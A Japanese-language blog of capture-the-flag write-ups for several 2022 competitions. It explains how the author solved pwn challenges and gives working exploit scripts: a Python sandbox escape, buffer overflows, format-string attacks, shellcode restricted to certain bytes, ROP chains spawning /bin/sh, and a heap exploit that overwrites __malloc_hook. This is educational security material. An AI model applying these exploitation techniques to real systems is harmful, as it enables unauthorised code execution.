AeroCTF 2022 Writeup
AeroCTF に参加しました。
とりあえずpwnは4問あって、1問(balloon )だけ非想定解法解きました。
全体的にwrite upもあまり出てきていないようですし、あまり参加してる人少なかったのかもしれません。
balloon (21 solve)
いわゆるpython jail問。
受け取ったコードを、evalで実行する形式。
ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ ./balloon.py [*] Please, input a payload: > 1+1 2
しかし、同時に配布されているpreload.soがLD_PRELOADでロードされている。
このpreload.soの中で、exec系がつぶされている。
例えば下記のような感じ。
FUN_00101119();は、securityチェックの関数。
int execl(char *__path,char *__arg,...) { int iVar1; iVar1 = FUN_00101119(); return iVar1; }
とりあえず実行してみると下記のようになる。
ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202 [*] Security check initialized [*] Please, input a payload: > os.system("cat flag") [-] Security check failed :(
ということで、exec系がない中でどうやってシェルを起動するかを考える。
実はflagというバイナリを配布されていて、このバイナリの中に答えのFLAGがハードコーディングされている。
なので読み込めればいいはずなのだが、
ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202 [*] Security check initialized [*] Please, input a payload: > print(__builtins__.__dict__['open']('./challenge/flag', 'rb')) [-] [Errno 13] Permission denied: './challenge/flag'
読み込み権限はついていない。
素直にbinaryの実行ができそうな関数を探してみる。
ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202 [*] Security check initialized [*] Please, input a payload: > dir(os) ['CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_STOPPED', 'CLD_TRAPPED', 'DirEntry', 'EFD_CLOEXEC', 'EFD_NONBLOCK', 'EFD_SEMAPHORE', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'GenericAlias', 'MFD_ALLOW_SEALING', 'MFD_CLOEXEC', 'MFD_HUGETLB', 'MFD_HUGE_16GB', 'MFD_HUGE_16MB', 'MFD_HUGE_1GB', 'MFD_HUGE_1MB', 'MFD_HUGE_256MB', 'MFD_HUGE_2GB', 'MFD_HUGE_2MB', 'MFD_HUGE_32MB', 'MFD_HUGE_512KB', 'MFD_HUGE_512MB', 'MFD_HUGE_64KB', 'MFD_HUGE_8MB', 'MFD_HUGE_MASK', 'MFD_HUGE_SHIFT', 'Mapping', 'MutableMapping', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_FSYNC', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TMPFILE', 'O_TRUNC', 'O_WRONLY', 'POSIX_FADV_DONTNEED', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_NORMAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_WILLNEED', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'POSIX_SPAWN_OPEN', 'PRIO_PGRP', 'PRIO_PROCESS', 'PRIO_USER', 'P_ALL', 'P_NOWAIT', 'P_NOWAITO', 'P_PGID', 'P_PID', 'P_PIDFD', 'P_WAIT', 'PathLike', 'RTLD_DEEPBIND', 'RTLD_GLOBAL', 'RTLD_LAZY', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_NOW', 'RWF_APPEND', 'RWF_DSYNC', 'RWF_HIPRI', 'RWF_NOWAIT', 'RWF_SYNC', 'R_OK', 'SCHED_BATCH', 'SCHED_FIFO', 'SCHED_IDLE', 'SCHED_OTHER', 'SCHED_RESET_ON_FORK', 'SCHED_RR', 'SEEK_CUR', 'SEEK_DATA', 'SEEK_END', 'SEEK_HOLE', 'SEEK_SET', 'SPLICE_F_MORE', 'SPLICE_F_MOVE', 'SPLICE_F_NONBLOCK', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'WCONTINUED', 'WCOREDUMP', 'WEXITED', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WNOWAIT', 'WSTOPPED', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'X_OK', '_Environ', '__all__', '__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_check_methods', '_execvpe', '_exists', '_exit', '_fspath', '_fwalk', '_get_exports_list', '_spawnvef', '_walk', '_wrap_close', 'abc', 'abort', 'access', 'altsep', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'copy_file_range', 'cpu_count', 'ctermid', 'curdir', 'defpath', 'device_encoding', 'devnull', 'dup', 'dup2', 'environ', 'environb', 'error', 'eventfd', 'eventfd_read', 'eventfd_write', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'extsep', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fsdecode', 'fsencode', 'fspath', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'fwalk', 'get_blocking', 'get_exec_path', 'get_inheritable', 'get_terminal_size', 'getcwd', 'getcwdb', 'getegid', 'getenv', 'getenvb', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getpriority', 'getrandom', 'getresgid', 'getresuid', 'getsid', 'getuid', 'getxattr', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'linesep', 'link', 'listdir', 'listxattr', 'lockf', 'login_tty', 'lseek', 'lstat', 'major', 'makedev', 'makedirs', 'memfd_create', 'minor', 'mkdir', 'mkfifo', 'mknod', 'name', 'nice', 'open', 'openpty', 'pardir', 'path', 'pathconf', 'pathconf_names', 'pathsep', 'pidfd_open', 'pipe', 'pipe2', 'popen', 'posix_fadvise', 'posix_fallocate', 'posix_spawn', 'posix_spawnp', 'pread', 'preadv', 'putenv', 'pwrite', 'pwritev', 'read', 'readlink', 'readv', 'register_at_fork', 'remove', 'removedirs', 'removexattr', 'rename', 'renames', 'replace', 'rmdir', 'scandir', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getaffinity', 'sched_getparam', 'sched_getscheduler', 'sched_param', 'sched_rr_get_interval', 'sched_setaffinity', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sendfile', 'sep', 'set_blocking', 'set_inheritable', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setpriority', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'setxattr', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'splice', 'st', 'stat', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'supports_bytes_environ', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'symlink', 'sync', 'sys', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'terminal_size', 'times', 'times_result', 'truncate', 'ttyname', 'umask', 'uname', 'uname_result', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitid', 'waitid_result', 'waitpid', 'waitstatus_to_exitcode', 'walk', 'write', 'writev']
この中で、posix_spawnなる関数があるので試してみると通った。
ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202 [*] Security check initialized [*] Please, input a payload: > os.posix_spawn("./challenge/flag",["a"], {}) 8 I believe there are many ways to exploit this... Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}
なお、この解法はunintended solutionらしい。
github.com
公式解法は何してるのかよくわからないが、既存のissueをうまく使ってるらしい。
勝手な想像だがこれ解いた人の多くがposix_spawnなんじゃないだろうか。
ところでpreload.soの下記はいったい何をやっているんだろう?
int nice(int __inc) { FUN_00101148(0x861a0,0x1a8); FUN_00101148(0x85e60,0x1a8); FUN_00101148(0x8ca80,0x1a8); FUN_00101148(0x93c20,0x1a8); write(1,"[*] Security check initialized\n",0x1f); return 1; }
one-bullet (11 solve)
RIPまでは容易に奪うことができたが、解けなかった。
実行すると下記のように、xとyの値を6回求められて、最後にコメントを求められる。
buntu@ubuntu-virtual-machine:~/ctf/aeroctf/one$ ./one_bullet ,___________________________________________/7 |-_______------. `\ | _,/ | _______) |___\____________________________| .__/`(( | _______ | (/))_______________=. `~) \ | _______) | /----------------_/ `__y|______________| / / ________ __________/ / /#####\( \ / )) / /#######|\ \( // / /########|.\______ad/` / /###(\)###||`------`` / /##########|| / /###########|| ( (############|| \ \####(/)####)) \ \#########// \ \#######// `---|_|--` ((_)) `-` 6 shots left! Where do you want to shoot? x: 1 y: 2 !!!BAAAAAANG!!!
最後
Where do you want to shoot? x: 10 y: 11 !!!BAAAAAANG!!! {!} Please leave a comment about shooting! {?} Comment size: AA {?} Comment: {+} Thanks!
ちなみにstatic link形式である。
色々試していて分かったが、read_into_buffer関数で入力した値(ここでいうとxやy)がComment size: を求められたときの
scanf()の第二引数に入ることがあるようだ。
したがって、任意のアドレスに任意の値を書くことができる。
最後に、exit 関数が呼ばれているが、exit関数は_exit関数と異なり、プログラムの終了に伴い色々な処理を実施している。
一部の関数テーブルを書き換えることで容易にRIPを奪うことができる。
実際に今回私が使ったのは、__elf_set___libc_atexit_element__IO_cleanup__だった。
RAX 0x0 RBX 0x4e0468 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x428d60 (_IO_cleanup) ◂— endbr64 RCX 0x4e1578 (unseen_objects) ◂— 0x0 RDX 0x1 RDI 0x4cecb8 (__EH_FRAME_BEGIN__) ◂— 0x440000001c RSI 0x1 R8 0x0 R9 0xd R10 0x4b3093 ◂— '{?} Comment: ' R11 0x246 R12 0x4e0470 ◂— 0x0 R13 0x1 R14 0x0 R15 0x1 RBP 0x1 RSP 0x7fffffffdea0 ◂— 0xb /* '\x0b' */ *RIP 0x410898 (__run_exit_handlers+536) ◂— call qword ptr [rbx] ─────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────── 0x410885 <__run_exit_handlers+517> sub rax, 1 0x410889 <__run_exit_handlers+521> sub rax, rbx 0x41088c <__run_exit_handlers+524> shr rax, 3 0x410890 <__run_exit_handlers+528> lea r12, [rbx + rax*8 + 8] 0x410895 <__run_exit_handlers+533> nop dword ptr [rax] ► 0x410898 <__run_exit_handlers+536> call qword ptr [rbx] <_IO_cleanup> rdi: 0x4cecb8 (__EH_FRAME_BEGIN__) ◂— 0x440000001c rsi: 0x1 rdx: 0x1 rcx: 0x4e1578 (unseen_objects) ◂— 0x0
__elf_set___libc_atexit_element__IO_cleanup__のアドレスを書き換えることで、任意のアドレスに飛ばすことができる。
ということでone_gadget…と行きたいところだったが、この問題はstatic linkでone gadgetを調べる方法もない。
私は__elf_set___libc_atexit_element__IO_cleanup__ をmainに書き換えて無限ループにして、
stackのアドレスをleak して ROP gadgetをstack内に書き込み、最後にstack pivot…と行きたいところだったが
どうしてもstackのアドレスをleakさせる方法を見つけることができなかった…
さて、公式write upといえば、__elf_set___libc_atexit_element__IO_cleanup__ に 0x4011b0なるgadgetを入れて、一発で stack pivotしていた。
この方法なら、無限ループにするまでもなく、一発でROPができる。この問題が解けるかどうかの瀬戸際は、このgadgetを見つけることができるかどうかだったと思われる。
ちなみにrp++で見つけることできるのかな?
ImaginaryCTF 2022 Writeup
ImaginaryCTF に参加しました。
聞いたことない名前だったんですけど(有名なのかな?)pwnは良問で
難しすぎもせず、簡単すぎもせず、面白そうでした。
ボリュームありすぎて心が折れたのでret2winとbofとbellcodeだけ解きました。
ret2win (240 solve)
ubuntu@ubuntu-virtual-machine:~/ctf/imaginaryCTF/ret2win$ ./vuln Welcome to ret2win! Right now I'm going to read in input. Can you overwrite the return address? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Returning to 0x4141414141414141... Segmentation fault (コアダンプ)
よくあるwellcome 問題。
とりあえずwin関数に飛ばせば終わり。
from pwn import * elf=ELF("/home/ubuntu/ctf/imaginaryCTF/ret2win/vuln") p=remote("ret2win.chal.imaginaryctf.org",1337) #gdb.attach(p) p.recv(timeout=1) p.sendline(cyclic(24)+p64(elf.symbols["win"])) p.interactive()
bof (167 solve)
#include <stdio.h> #include <stdlib.h> struct string { char buf[64]; int check; }; char temp[1337]; int main() { struct string str; setvbuf(stdout,NULL,2,0); setvbuf(stdin,NULL,2,0); str.check = 0xdeadbeef; puts("Enter your string into my buffer:"); fgets(temp, 5, stdin); sprintf(str.buf, temp); if (str.check != 0xdeadbeef) { system("cat flag.txt"); } }
名前の通り、bofするだけか…
と思いつつうまくいかない。
なぜかというとfgetの第2引数が5だから5文字しか受け付けないから…
その下のsprintfがあることに気づけば終わり。
fsbもあるので、fsbを使ってbofを起こすことができる。
面白い。
from pwn import * elf=ELF("/home/ubuntu/ctf/imaginaryCTF/bof/bof") p=remote("bof.chal.imaginaryctf.org",1337) #gdb.attach(p) p.recv(timeout=1) p.send("%65c") p.interactive()
Bellcode (32 solve)
undefined8 main(void) { byte bVar1; byte *local_18; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); mmap(&DAT_00fac300,0x2000,7,0x21,-1,0); puts("What\'s your shellcode?"); fgets(&DAT_00fac300,0x1000,stdin); local_18 = &DAT_00fac300; while( true ) { if ((byte *)0xfad2ff < local_18) { puts("OK. Running your shellcode now!"); (*(code *)&DAT_00fac300)(); return 0; } bVar1 = *local_18; if ((byte)(bVar1 + (char)((((uint)bVar1 * 0x21 + (uint)bVar1 * 8) * 5 >> 8 & 0xff) >> 2) * -5) != '\0') break; local_18 = local_18 + 1; } puts(&DAT_00102020); /* WARNING: Subroutine does not return */ exit(-1); }
ghidraの結果を見るとわかるが、とりあえず、
0x00fac300から0x1000入力し、謎のチェックをして、その結果が全バイトについて
0である場合に実行してくれる。
まずは、この謎のチェックを解析しよう。
rev力が多少求められるが、丁寧に追って、下記のように探索すればよい。
chars=list() for i in range(0xff): A = ((((((i + (i << 2)) << 3) + i) * 5)) >> 8) B = ((A >> 2) << 2) + (A >> 2) C = i - B if C==0: chars.append(i) print(hex(i), hex(C))
汚いコードだなぁ…
>>> chars [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100, 105, 110, 115, 120, 125, 130, 135, 140, 145, 150, 155, 160, 165, 170, 175, 180, 185, 190, 195, 200, 205, 210, 215, 220, 225, 230, 235, 240, 245, 250]
ということで…
5の倍数しか使えない中でシェルコードを作れという問題である。
とりあえず、使える命令コードを出力してみて、それを組みあわせて実現した。
ここら辺のノウハウは下記の本に書いてあり、大変勉強になる。
私がここで解説するべきではないので割愛する。
あとはメモ帳で頑張ってアセンブラを書いた。
とりあえずかいつまんでポイントを説明する
・read2回、write1回、execve1回のシェルコード。writeは、ただのチェック用。(ローカルで動いたけどリモートで動かなかったのでdebugとして入れた)
・/bin/shの文字列をassemblyの四則演算で出力するのは無理だったので、ユーザから入力するようにした。
・1回目のreadで0x00fad200へ"/bin/sh"の入力をしている。基本的にrdi、esi、edxはgadgetがあるから困らない。
・2回目のreadで、0x00fad269へ";"を入力している。これは0x3bであり、execveのsystem call番号である。ここで入力した値を使ってexecveを呼んでいる。
・2回目のreadの返り値は1を想定している。これは、inputが";"の1文字だからである。これを使ってwrite system callを3命令で呼んでいる。多分上手にやれば、1回のreadで/bin/shを含む0x3b文字を読み込むことで、スムーズにexecveを呼べるかもしれない。
shellcodeに飛ぶ直前のレジスタの状態。
下記はメモ。
ssize_t read(int fd, void *buf, size_t count); \x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x00\xd2\xfa\x00\x0f\x05 push rax \x50 pop rdi \x5f mov esi,0xf \xbe\x0f\x00\x00\x00 xchg esi,eax \x96 push rax \x50 pop rdx \x5a mov esi,0xf \xbe\x00\x00\x00\x00 xchg esi,eax \x96 mov esi,0x00fad200 \xbe\x00\xd2\xfa\x00 syscall \x0f\x05 ssize_t read(int fd, void *buf, size_t count); \xbe\x00\x00\x00\x00\x96\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x69\xd2\xfa\x00\x0f\x05 mov esi,0x0 \xbe\x00\x00\x00\x00 xchg esi,eax \x96 push rax \x50 pop rdi \x5f mov esi,0xf \xbe\x0f\x00\x00\x00 xchg esi,eax \x96 push rax \x50 pop rdx \x5a mov esi,0xf \xbe\x00\x00\x00\x00 xchg esi,eax \x96 mov esi,0x00fad269 \xbe\x69\xd2\xfa\x00 syscall \x0f\x05 ssize_t write(int fd, const void *buf, size_t count); \x50\x5f\x0f\x05 push rax \x50 pop rdi \x5f syscall \x0f\x05 int execve(const char *pathname, char *const argv[], char *const envp[]); \xbe\x00\xd2\xfa\x00\x96\x50\x5f\xbe\x00\x00\x00\x00\x96\x50\x5a\xbe\x69\xd2\xfa\x00\x96\x87\x00\xbe\x00\x00\x00\x00\x0f\x05 mov esi,0x0 \xbe\x00\xd2\xfa\x00 xchg esi,eax \x96 push rax \x50 pop rdi \x5f mov esi,0x0 \xbe\x00\x00\x00\x00 xchg esi,eax \x96 push rax \x50 pop rdx \x5a mov esi,0x00fad269 \xbe\x69\xd2\xfa\x00 xchg esi,eax \x96 xchg DWORD PTR [rax],eax \x87\x00 mov esi,0x0 \xbe\x00\x00\x00\x00 syscall \x0f\x05
最終的には、下のコードでシェルをとれた。
;は人力で入力してあげてください…
from pwn import * elf=ELF("/home/ubuntu/ctf/imaginaryCTF/bellcode/bellcode") #p=process("/home/ubuntu/ctf/imaginaryCTF/bellcode/bellcode" # , aslr=False) p=remote("bellcode.chal.imaginaryctf.org",1337) #gdb.attach(p) # b * 0x5555555552c8 p.recv(timeout=1) shellcode=b"\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x00\xd2\xfa\x00\x0f\x05" shellcode+=b"\xbe\x00\x00\x00\x00\x96\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x69\xd2\xfa\x00\x0f\x05" shellcode+=b"\x50\x5f\x0f\x05" shellcode+=b"\xbe\x00\xd2\xfa\x00\x96\x50\x5f\xbe\x00\x00\x00\x00\x96\x50\x5a\xbe\x69\xd2\xfa\x00\x96\x87\x00\xbe\x00\x00\x00\x00\x0f\x05" p.sendline(shellcode) p.send("/bin/sh") p.interactive()
vsCTF Writeup
vsCTFに参加しました。
pwnはEzOrangeだけ解きました。Private Bankは開催期間中に解けませんでした。
EzOrange (16 solve)
ubuntu@ubuntu-virtual-machine:~/ctf/vsctf/ezorange$ ./ezorange 1. Buy an orange 2. Modify part of orange 3. Exit > 1 Orange number: 0 Size: 12 1. Buy an orange 2. Modify part of orange 3. Exit > 2 Orange number: 0 Total 32 cell in this orange Cell index: 0 Current value: 0 New value: 1 1. Buy an orange 2. Modify part of orange 3. Exit >
よくあるヒープ問題。
脆弱性はModify Part of orange。
Cell indexを選ばされるのだが、これに任意の値を入れて、heap領域 + offsetの値を領域外について読み込み+書き込みができる
気になるのはfreeがないことだが、問題名がOrangeであることから自明だろう。House of orangeが使える。
セキュリティ機構は下記の通り。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 51) Symbols No 0 1 /home/ubuntu/ctf/vsctf/ezorange/ezorange
PIEも無効だし、比較的自由にいろいろできそう。
方針としては、まずlibc baseとheap baseをleakしたい。
そのためには、house of orangeをもちいて、大きめのheapをunsorted binに入れてlibc baseをleak。
その後、smallbinなりlarge binなりに入れればfd_nextsizeからheap baseもleakできる。
house of orangeを2回用いてt cache poisoning をすれば終わり。
libcのversion が2.32なのでsafe linkingが有効である。
とはいえheap addressはわかっているので容易にbypassできる。
__malloc_hookを書き換えて、one_gadgetに飛ばすことができる。
from pwn import * import math #context.arch="i386" #context.terminal = ['xterm', '-e'] #context.arch="i386" #context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/ctf/vsctf/ezorange/ezorange") libc=ELF("/home/ubuntu/ctf/vsctf/ezorange/libc.so.6") #p=process("/home/ubuntu/ctf/vsctf/ezorange/ezorange" # , aslr=False)) p=remote("104.197.118.147",10160) #gdb.attach(p) def Buy(number, size): p.sendlineafter(">","1") p.sendlineafter("Orange number:",str(number)) p.sendlineafter("Size:",str(size)) return def Modify(number, cell_index, value): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(number)) p.sendlineafter("Cell index:",str(index)) p.sendlineafter("New value:",str(value)) return #only orange 0 is avaibale! def leak8byte(leak_offset): leaked=0 for i in range(8): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(0)) p.sendlineafter("Cell index:",str(leak_offset+i)) p.recvuntil("Current value:") current_value=int(p.recvline()) leaked=leaked+current_value*(256**i) p.sendlineafter("New value:",str(current_value)) return leaked def ovewrite8byte(offset, value): for i in range(2+math.ceil(math.log(value, 256))): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(0)) p.sendlineafter("Cell index:",str(offset+i)) p.sendlineafter("New value:",str(((value//(256**(i)))%256))) return def ovewrite8byte1(offset, value): for i in range(2+math.ceil(math.log(value, 256))): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(1)) p.sendlineafter("Cell index:",str(offset+i)) p.sendlineafter("New value:",str(((value//(256**(i)))%256))) return Buy(0, 0x10) # overwrite top chunk ovewrite8byte(0x18, 0xd51) # free top chunk Buy(1, 0xd58) # Buy(0, 0x10) Buy(1, 0xd58) # # # we can leak heap base and libc base... libc_base=leak8byte(0x20)-0x1c6200 log.info("libc_base is "+hex(libc_base)) # heap=leak8byte(0x30)-0x2d0 log.info("heap address is "+hex(heap)) # # # t_cashe poisonnning log.info("free") Buy(1, 0x4f8) Buy(1, 0x4f8) Buy(1, 0x4f8) ovewrite8byte(0x22D08, 0x41) # free 0x41 log.info("free") Buy(1, 0x1000) Buy(1, 0x200) Buy(1, 0xf00) Buy(1, 0xa0) Buy(1, 0x90) ovewrite8byte(0x44d08, 0x41) # free 0x41 Buy(1, 0x1000) # # tcache poisoning log.info("tcache poisonning") ovewrite8byte(0x44d10, (heap+0x44FD0)>>12 ^ (libc_base+libc.symbols["__malloc_hook"])) Buy(1, 0x8) Buy(1, 0x8) one_gadget=0xceb71 ovewrite8byte1(0, libc_base+one_gadget) Buy(1, 0x8) p.interactive()
NWが遅くて、結構exploitが動くまでに時間がかかってしまった。
libcとldが同時に配布されると、こちらで環境を用意しなくていい点がいいけど…
debugするときにpwndbgとかのheap コマンドが動かないので困るっちゃ困る気がする…
Private Bank (7 solve)
開催期間中に解けなかった。
明らかなFSBがある。
pwndbg> checksec [*] '/home/ubuntu/ctf/vsctf/privatebank/privatebank' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
RELROもPIEも有効。
2回fsbが使えるので、一回目でheap アドレスをleak して、二回目でheapに保存されているflagをリークするだけの簡単な問題。
heapアドレスをどうleakするか?
これはstack 上にはなさそうなので、FSBのAARを利用してlibcからleakすることにする。
pwndbg> leakfind 0x1555552ef000 --max_depth=1 --max_offset=0x21B0000 --page_name=heap 0x1555552ef000+0x218388 —▸ 0x55555555c000 [heap] 0x1555552ef000+0x218cc0 —▸ 0x55555555c580 [heap]
このaddressからheapをleakしたのち、heapからflagをleakするだけ。
from pwn import * #context.arch="i386" #context.terminal = ['xterm', '-e'] #context.arch="i386" #context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/ctf/vsctf/privatebank/privatebank") libc=ELF("/home/ubuntu/ctf/vsctf/privatebank/libc-2.34.so") #p=process("/home/ubuntu/ctf/vsctf/privatebank/privatebank" # , aslr=True)} ) p=remote("104.197.118.147",10165) #gdb.attach(p) p.recvuntil("Hint:") libc_base=int(p.recvline(), 16)-libc.symbols["system"] log.info("libc_base is "+ hex(libc_base)) # leak heap address p.sendafter("Cabinet number:","1%7$s".encode()+p64(libc_base+0x218cc0)) p.recvuntil("Your cabinet number: 1") heap_leak=u64(p.recvline()[:6].ljust(8, b"\x00")) log.info("heap address is "+hex(heap_leak)) # leak flag p.sendafter("Key:", "%9$s ".encode()+p64(heap_leak+0x10)) log.info(p.recv(timeout=0.1)) p.interactive()
SECCON Beginners 2022 Writeup
SECCON Beginners 2022に参加しました。
pwnはMonkey Heap以外は解けたのですが、時間内にMonkey Heapを解くことはできませんでした。
BeginnersBof (155 solve)
What's your name?ubuntu@:~/Desktop$ nc beginnersbof.quals.beginners.seccon.jp 9000 How long is your name?12 What's your name? TEST Hello TEST
最初に文字数を聞かれて、その後文字列の入力をすると返してくれる。
普通にBoFがある。
また、checksecをすると下記の通りかなり薄い。
0x0000000000401315 in main () gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
ソースコードが配布されていて、win()関数が存在する。
PIEも無効、Canaryもないので、Returnアドレスを書き換えるだけでシェルが取れる。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall") #p=process("//home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall" # , aslr=False) p=remote("beginnersbof.quals.beginners.seccon.jp",9000) #gdb.attach(p) p.sendlineafter("How long is your name?", str(0x50)) p.sendlineafter("What's your name?", cyclic(40)+p64(elf.symbols["win"])) p.interactive()
raindrop (52 solve)
下記のような教育的なROPの問題
ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ ./chall Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions stack dump... [Index] |[Value] ========+=================== 000000 | 0x0000000000000000 <- buf 000001 | 0x0000000000000000 000002 | 0x00007ffc89593b80 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? AAAAAAAAAAA bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x4141414141414141 <- buf 000001 | 0x000000000a414141 000002 | 0x00007ffc89593b80 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish
セキュリティ機構もかなり薄い。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
rp++でgadgetを探してみると、pop rdiのgadgetがある。
0x00401453をつかってROPしていけばよい。
ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ rp-lin-x64 -r 1 -f chall --unique | grep "rdi" 0x0040143a: call qword [rdi+rbx*8] ; (1 found) 0x00401146: or dword [rdi+0x00404058], edi ; jmp rax ; (1 found) 0x00401438: out 0x41, eax ; call qword [rdi+rbx*8] ; (1 found) 0x00401453: pop rdi ; ret ; (1 found)
このプログラムの中ではsystem関数を呼んでいるので、
ret2pltによってrdiにflag.txtを入れたうえでcat systemをするだけだと思ったが、(/bin/shでもいいと思うが)
スタックアラインメントで落ちてしまう。ret gadgetを使ってstackを調整しようにも、stackが足りない。
どうしたものか…と5分ほど思ったが pltから呼ぶ必要はない。
ソースコードの中にある、help関数の中のアドレスを指定して飛ぶことができた。
import logging from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall") p=process("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall" , aslr=False) #p=remote("beginnersbof.quals.beginners.seccon.jp",9000) gdb.attach(p) p.recvuntil(" 000002 | ") stack_leak=int(p.recv(18), 16) p.recvuntil(" 000003 | ") base_leak=int(p.recv(18), 16) log.info("stack_address is "+hex(stack_leak)) pop_rdi=0x00401453 system_func=0x4011e5 p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef) +p64(pop_rdi)+p64(stack_leak-0x20)+p64(system_func)) p.interactive()
simplelist (32 solve)
下記の通りシンプルなメモ。
よくあるヒープ問題に見える。
